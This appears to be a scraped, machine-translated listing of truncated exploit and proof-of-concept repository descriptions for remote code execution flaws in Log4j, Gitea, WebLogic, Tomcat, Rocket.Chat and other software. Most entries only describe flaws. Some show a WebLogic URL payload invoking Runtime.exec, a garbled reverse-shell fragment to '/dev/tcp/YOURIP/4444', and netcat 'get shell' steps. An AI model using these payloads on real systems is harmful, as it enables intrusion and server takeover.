CVE-2019-17571

CVE-2019-17571/Apache Log4j 1.2.X में deserialization रिमोट कोड एक्सीक्यूशन भेद्यता भेद्यता चेतावनी संदर्भ लिंक: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ 1. भेद्यता विवरण Apache Log4j अमेरिकी Apache सॉफ्टवेयर फाउंडेशन का एक Java आधारित ओपन-सोर्स लॉगिंग टूल है। Apache Log4j 1.2.X श्रृंखला...

CVE-2026-0709

Hikvision ワイヤレスAP – CVE-2026-0709 認証済みRCEツール このツールは、Hikvision ワイヤレスアクセスポイントの CVE-2026-0709 をテストするためのPython概念実証（PoC）です。これは、影響を受けるデバイス上でリモートコード実行につながる可能性がある認証済みコマンドインジェクションの脆弱性です。 自分が所有する、または明示的に評価を許可されたシステムに対するセキュリティテストおよび研究用です。 説明 CVE-2026-0709 は認証済み の脆弱性です。攻撃者は有効な認証情報でログインし、その後、Hikvision...

CVE-2026-60004

🚨 CVE-2026-60004 - 远程代码执行 通过 diffpatch Git Hook 在 Gitea 中实现严重远程代码执行 一个严重的远程代码执行（RCE）漏洞，通过滥用 Git 钩子执行，经由diffpatch API 端点实现任意命令执行。 📖 概述 CVE-2026-60004 是一个影响 Gitea 的严重远程代码执行（RCE）漏洞。该缺陷存在于 diffpatch 端点的实现中，特制补丁可在应用补丁期间滥用 Git 的钩子机制。 成功利用该漏洞可让拥有仓库写入权限的已认证攻击者以 Gitea 服务的权限在 Gitea 服务器上执行任意命令。 🔥 严重性 🎯 受影响产...

CVE-2017-7494

SambaCry CVE-2017-7494 शोषण CVE-2017-7494/SambaCry प्रमाणित उपयोगकर्ताओं को एक शेयर्ड लाइब्रेरी को एक लिखने-योग्य फ़ोल्डर में अपलोड करने और अपलोड की गई लाइब्रेरी का उपयोग करके निष्पादन हमला करने की अनुमति देता है। भेद्यता विवरण SambaCry एक पथ-सत्यापन भेद्यता है जो Samba द्वारा named-pipe अनुरोधों...

llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection

CVE-2026-58116 — LLaMA-Factory WebUI 通过 trustremotecode 实现远程代码执行（RCE） CVE-2026-58116 （CVSS 9.8 严重）的概念验证：远程代码执行 发生在 LLaMA-Factory = v0.9.5 中。 LLaMA-Factory WebUI 在加载模型时将 trustremotecode=True 硬编码 （src/llamafactory/webui/chatter.py:139 和 runner.py:175,320）。 攻击者可控的“模型路径”字段未经验证便流入...

Blackash-CVE-2025-55182

🚨 CVE-2025-55182 — React 服务器严重漏洞 🧠 这是什么 ⚛️ React 服务器组件（RSC） 中的一个严重安全漏洞 🧨 由不安全的反序列化 引起 🌐 可通过网络请求 利用 🔓 无需身份验证 ☠️ 可能导致远程代码执行（RCE） ✅ 这意味着攻击者只需一次精心构造的请求，就可能执行任意服务器端代码 。 📊 严重等级 🔴 CVSS 评分：10.0（严重） 🏴‍☠️ 攻击复杂度： 低 🔑 所需权限： 无 👤 用户交互： 无 💥 影响： 可能导致系统完全受损 📦 受影响的技术 ⚠️ 使用 React 服务器组件 的系统，包括： ✅ React 服务器 DOM 包 ✅ 集成...

MAL-011

MAL-011：Log4J 配置错误允许在 Red Hat AMQ 中执行恶意 JavaScript Redhat A-MQ 应用程序的 Log4J 组件配置错误，允许在 Log4J 配置中执行任意的“Script”属性。如果攻击者找到修改 A-MQ 使用的 Log4J 配置的方法（例如通过“setConfigText”），则会插入恶意 JavaScript 脚本，从而导致远程代码执行（RCE）。 注意： 对于利用 Red Hat AMQ 版本 7.10.2 且 7.12 的漏洞，请参阅 CVE-2023-50780：可通过 Apache ActiveMQ Artemis 中的...

CVE-2023-50164-ApacheStruts2-Docker

CVE-2023-50164 : Apache Struts 2 脆弱なDockerコンテナ Apacheは最近、Apache Struts 2に影響を及ぼす深刻度9.8の重大な脆弱性であるCVE-2023-50164に関する勧告を公開しました。 CVE-2023-50164は、組織のApache Strutsアーキテクチャと、そのファイルアップロード機能の使用方法に密接に関連しており、許可されていないパストラバーサルを可能にします。これにより、悪意のあるファイルをアップロードしてリモートコード実行（RCE）を行うために悪用される可能性があります。...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-调查 OpenWire 实验室 在我担任二级安全运营中心（SOC）分析师期间，我收到了一名一级分析师上报的事件，涉及一台可公开访问的服务器，该服务器被观察到与多个可疑的外部 IP 地址进行通信。 对此，我启动了标准的事件响应（IR）流程，包括将该受影响服务器与网络隔离，以防止横向移动和潜在的数据外泄。随后，我从 NSM 平台获取了一份数据包捕获（PCAP）文件以作进一步调查。 我的目标是分析网络流量，并识别任何恶意活动指标。 1. 识别第一个可疑的外部 IP 地址 在分析网络流量并审查与该服务器建立的连接后，我识别出与 OpenWire...

cobaltstrike_swing_xss2rce

このリポジトリには README がありません。...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE（临时编写） 描述 利用 Rocket.Chat 3.12.1 中的预认证 NoSQL 注入漏洞，泄露管理员的 TOTP 密钥和密码重置令牌，接管管理员账户，并通过恶意 webhook 集成实现 RCE。 受影响版本 Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 参数...

ElasticSearch-CVE-2014-3120

ElasticSearch 검색 원격 코드 실행 CVE-2014-3120 CVE-2014-3120를 악용하기 위한 POC 코드 요구 사항: python 사용법: python elasticcheck.py 예시: root@kitploit: ➜ $ python elasticcheck.py hostport.txt 0 10.0.0.10:9200 취약함 1 10.0.0.11:9201 취약하지 않음 2 10.0.0.12:9201 연결 오류 취약한 호스트: 1 취약하지 않은 호스트: 1 연결 오류: 1 hostport.txt:...

CVE-2026-63030-CVE-2026-60137

CVE-2026-63030 & CVE-2026-60137 — wp2shell WordPress Core 预认证 RCE — 路由混淆 + SQL 注入链式利用实现远程代码执行...

watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553

CVE-2025-40552 与 CVE-2025-40553 SolarWinds Web Help Desk 预认证 RCE 链 SolarWinds Web Help Desk 预认证 RCE 链检测产物生成器工具 描述 此检测产物生成器用于验证 SolarWinds Web Help Desk 实例是否存在 CVE-2025-40552 和 CVE-2025-40553 漏洞。 检测产物生成器尝试执行两项操作： 使用 CVE-2025-40552 绕过身份验证 - 此检查非常准确。 如果成功，它会尝试通过执行 cmd.exe /c whoami 命令来验证...

Sovereign-Echo-33017

Exploit Title: Langflow 1.8.1 - 未認証のリモートコード実行（RCE） Date: 2026-03-21 Exploit Author: Americo N. F. Simoes SimoesCTT Vendor Homepage: https://www.langflow.org/ Software Link: https://github.com/langflow-ai/langflow Version: = 1.8.1 Tested on: Linux/Fedora 40...

CVE-2025-48384-main

CVE-2025-48384 的 PoC 这是一个 POC。请勿在不安全的环境中下载它。它会让黑客在你的机器上远程执行代码 参见 CVE-2025-48384 运行： root@kitploit: git clone --recurse-submodules [email protected]:zr0n/CVE-2025-48384-main.git 被执行的 payload 位于此处。...

CVE-2020-9484

CVE-2020-9484 CVE-2020-9484 的 PoC CVE-2020-9484 的 PoC Apache Tomcat 反序列化远程代码执行（CVE-2020-9484） 阅读文档 » 开始使用 1. 克隆此仓库，然后你就可以使用 CVE-2020-9484，并在需要时修改源代码。 2. 下载 ysoserial jar 3. 将 CVE-2020-9484 和 ysoserial.jar 放在同一目录下 4. 获得 shell！ 用法 为了简化 CVE-2020-9484 的使用，我们编写了一个简单的 bash 脚本。 利用时，你需要准备一个 netcat 监听器。...

CVE-2026-2898-FunAdmin-Deserialization

CVE-2026-2898 - FunAdmin 不安全反序列化 摘要 FunAdmin 免责声明 仅供教育和授权测试使用。...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / リモートコード実行 CVE-2019-18873, CVE-2019-18839 FUDforum 3.0.9 に複数の保存型XSS脆弱性が発見され、それらはリモートコード実行につながる可能性があります。 フォーラムのユーザー名経由の保存型XSS: 詳細 | デモ 管理パネルのユーザーエージェント経由の保存型XSS: 詳細 | デモ...

cve-2020-14882

CVE-2020-14882 영향을 받는 버전: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: root@kitploit: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';"; 이미지: EXP:...